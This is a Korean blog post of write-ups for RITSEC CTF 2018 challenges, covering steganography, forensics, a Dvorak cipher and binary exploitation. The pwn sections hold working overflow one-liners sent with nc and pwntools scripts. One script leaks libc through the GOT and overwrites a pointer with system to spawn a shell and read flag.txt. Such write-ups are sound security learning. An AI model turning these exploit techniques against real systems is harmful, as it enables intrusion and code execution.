Write-up

[RITSEC 2018] write up

ch4rli3kop 2018. 11. 19. 15:39
반응형
RITSEC CTF 2018



Burn the candle on both ends

binwalk를 이용하여 zip 파일 추출 후, 파일을 풀기위한 패스워드 게싱이 필요함. 여기서 브포도 돌려보고 증말 오래걸렸는데, 출제자가 간단한 게싱이라고 그래서 아무 생각없이 공룡 옷 입은 강아지를 보고 입력해봤다.
passwd : stegosaurus

RITSEC{8U51N355-1N-7H3-Fr0N7-P4r7Y-1N-7H3-84CK}



I am a Stegoraurous


걍 다운로드 받아서 크게 보면 보임



ezpwn


$ (python -c "print 'A'*0x1c + '\x01\x00\x00\x00'";cat)| nc fun.ritsec.club 8001
Please enter your API key
RITSEC{Woah_Dud3_it's_really_that_easy?_am_i_leet_yet?}1

그냥 간단한 bof 문제. gets함수로 발생함.
바이너리 파일을 분석했을 때는 0x18 크기를 dummy로 채운다음에 뒤에 1을 채우면 됬는데, 이상하게 서버에는 위처럼 보내니 플래그를 얻음. 이후에 바이너리 패치도 막하고 한 거 보니까 그냥 출제 상 오류같다.




lolglit

lolglit -e  &/bin/sh
m444ndu@ubuntu:~/Desktop/RITSEC2018/lolglit$ (python -c 'print "a"*22  +"o/" +"sh" + "\x00"';cat)| ./lolglit
aaaaaaaaaaaaaaaaaaaaaao/sh
at
at
sh: 1: echo/sh: not found
중간에 사라진 문제. 저런식으로 뭐 하면 될 거 같았는데 아쉽다.




From our freinds at nexthop!

nexthop이 눈에 밟혀서 저거만 모아서 보던 중, DNS query 마지막 1바이트가 1과 0이 섞여서 나오는 것을 발견함. 설마 이거겠어ㅋㅋㅋㅋ 하면서 해봤는데 진짜 플래그가 나왔다...

모으면 아래처럼 나옴.
010100100101001101111011001100010101010000110101010111110011010001001100010101110011010001011001001101010101111101000100010011100011010101111101






Gimme sum fud

go로 만들어진 c프로그램은 처음봐서 당황쓰했지만;; 도움을 받아 main_main() 함수를 중점적으로 실행되고 있는 걸 알아냈음! 브포 적당히 걸고 ni로 하나씩 실행하면서 디버깅하면 뭐든지 알 수 있다. 하하.
main_main에 있는 함수들 중 fmt_Println에서 "Gimme some..."을 출력하고, main__Cfunc_myGets 함수에서 입력을 받는다. 빨간색은 그냥 내맘대로 한거


입력을 받은 상태로 heap 영역을 보면 다음과 같다.


바이너리를 분석해 보면, 우선 해당 프로그램은 같은 디렉토리의 flag.txt를 읽어 heap 영역에 저장함을 알 수 있음. 또한, 입력을 "AAAAAAAAAAA"라고 주면, 해당 입력은 0x1ddd420에 존재하고 플래그는 0x1ddd4b0에 존재하는데, 여기서 overflow가 발생한다. 따라서 입력을 길게 줘서, 마지막에 입력을 다시 출력해주는 부분을 통하여 flag를 릭 할 수 있음!
from pwn import *

#r = process('./pwn3')
r = remote('fun.ritsec.club',1338)

r.recvuntil("Gimme some bytes, I'm hangry...")
r.sendline("A"*0x10*9)
r.interactive()





What_Th._Fgck

쉬워보이는데 은근 어렵쓰.. 사실 치환 암호도 해보고, rot 계열 암호나 ceaser, byte shift도 직접 구현하면서까지 해봤는데 안돼서 포기했었음. ㅋㅋㅋㅋ 형 말듣고 혹시나 찾아본 결과 영어도 한글의 두벌식, 세벌식처럼 qwerty, dvorak 등이 있는 걸 발견했다. 아래 사이트에서 변환가능http://wbic16.xedoloh.com/dvorak.html






Bucket 'o cash

메모리 포렌식 문제. 보자마자 volatility로 분석을 시도했으나, 관련 profile이 없어 분석이 안됌. volatility에서 제공하는 profile들을 모두 받아봤으나, 맞는게 없었음. 결국 volatility를 포기하고 그냥 strings로 데이터 떨궈서 분석 시작함. 

strings memdump > a.txt

졸면서 보다가 문득 base64가 생각이 나서 RISEC{을 인코딩한 문자열 "UklUU0VDe"을 찾아봄.


> UklUU0VDe00zbTByeV9GMHIzbnMxY3N9Cg==
> RITSEC{M3m0ry_F0r3ns1cs}




Yet Another HR Management Framework

go 언어로 작성되어 분석이 힘들었음.. 심지어 갑자기 32bit 문제가 나와서 당황했음.. 다행히 heap에서 overflow가 발생해서 할 수 있는게 이것저것 많았다.

from pwn import *

#context.log_level = 'debug'

def create(size,name,age):
    r.sendlineafter('Enter your choice: ', '1')
    r.sendlineafter('Enter name length: ',str(size))
    r.sendlineafter("Enter person's name: ", name)
    r.sendlineafter("Enter person's age: ", str(age))

def edit(index, size, name):
    r.sendlineafter('Enter your choice: ', '2')
    r.sendlineafter("Enter person's index (0-based): ", str(index))
    r.sendlineafter("Enter new name length: ", str(size))
    r.sendlineafter("Enter the new name: ", name)

def delete(index):
    r.sendlineafter('Enter your choice: ', '4')
    r.sendlineafter("Enter person's index (0-based): ",str(index))

def printinfo(index):
    r.sendlineafter('Enter your choice: ', '3')
    r.sendlineafter("Enter person's index (0-based): ",str(index))

r = process('./pwn2', env = {'LD_PRELOAD':'./libc.so.6'})
r = remote('fun.ritsec.club',1337)

libc = ELF('./libc.so.6')

pause()
printPerson = 0x80ebb10
free_got = 0x08191028


create(0x10,"A"*10,16) # 0
create(0x10,"B"*10,16) # 1
create(0x10,"C"*10,16) # 2
create(0x10,"D"*10,16) # 3
delete(1)

create(0x10,"E"*0x18 + p32(printPerson) + p32(free_got), 16 )

printinfo(2)
r.recvuntil('Name: ')

leak = u32(r.recv(4))
libc_base = leak - libc.symbols[b'free']
success('libc_base : ' + hex(libc_base))

libc.address = libc_base

create(0x10,"F"*10,16) # 5

delete(3)
#gdb.attach(r,'b* 0x080494C0')
success(hex(list(libc.search('/bin/sh'))[0]))
#pause()
create(0x10,"H"*0x18 + p32(libc.symbols[b'system']) + ';sh;' + 'ls -al; cat flag.txt', 16)
#create(0x10,"H"*0x18 + p32(libc_base+0x3a80c) + p32(list(libc.search('/bin/sh'))[0]), 16)

printinfo(5)

r.interactive()


요거 풀이는 차후에 올리겠음




반응형

'Write-up' 카테고리의 다른 글

[X-MAS CTF 2018] writeup  (0) 2018.12.29
[RITSEC 2018] Gimme sum fud write up  (0) 2018.11.22
[InCTF 2018] Lost writeup  (0) 2018.11.06
[InCTF 2018] Yawn writeup  (0) 2018.10.30
[InCTF 2018] Magical Radio writeup  (0) 2018.10.20